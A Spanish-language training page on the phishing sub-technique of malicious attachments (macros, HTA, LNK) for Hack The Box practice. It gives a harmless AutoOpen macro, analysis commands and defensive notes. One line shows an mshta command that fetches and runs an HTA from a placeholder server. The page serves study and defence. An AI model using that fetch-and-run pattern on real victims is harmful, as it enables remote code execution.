T1566.001

Adjunto malicioso

Subtécnica de T1566 Phishing ↗

Enviar un documento o fichero que ejecuta código cuando la víctima lo abre (macro, HTA, LNK).

Cómo aparece en Hack The Box

En HTB aparece cuando hay un usuario simulado que abre lo que le mandas por correo o subes a una carpeta: un .odt con macro, un .lnk o un .library-ms que filtra su hash NTLM.

Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):

Máquinas para practicarla

Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Phishing explicado: macros, HTA y LNK › Macros de Office

Los eventos automáticos Teclas
' AutoOpen (Word) y Workbook_Open (Excel) se ejecutan al abrir el fichero
' SI el usuario habilita las macros. Document_Open hace lo mismo desde el módulo del documento.
Sub AutoOpen()
    MsgBox "Esto se ejecuta al abrir el documento"
End Sub
Mark-of-the-Web Teclas
# Desde 2022 Office bloquea las macros de cualquier fichero descargado de Internet o recibido por correo (llevan la marca MOTW). El usuario ya ni ve el botón de "Habilitar".
Reglas ASR de Defender Teclas
# "Block all Office applications from creating child processes" impide que WINWORD.EXE lance cmd/powershell, que es justo lo que hace la macro.
Extraer y leer las macros con oletools Atacante
olevba documento.docm

Phishing explicado: macros, HTA y LNK › HTA

Cómo la víctima acabaría ejecutándolo Víctima
mshta http://servidor/documento.hta
El patrón que marca cualquier EDR Teclas
# mshta.exe conectándose a una URL y creando cmd.exe o powershell.exe es un indicador de libro. Muchas empresas bloquean mshta.exe entero con AppLocker/WDAC.

Phishing explicado: macros, HTA y LNK › Accesos directos (.lnk)

Inspeccionar uno que recibas, sin abrirlo Atacante
(New-Object -ComObject WScript.Shell).CreateShortcut('.\sospechoso.lnk') | Format-List TargetPath, Arguments, IconLocation
Desde Linux con pylnk3 Atacante
pip install pylnk3 && pylnk3 p sospechoso.lnk
Mark-of-the-Web y SmartScreen Teclas
# Windows marca los .lnk descargados; SmartScreen avisa, y un .lnk cuyo destino es cmd o powershell es sospechoso por sí solo. La pista para el defensor: Explorer como proceso padre de cmd.

Chuletas relacionadas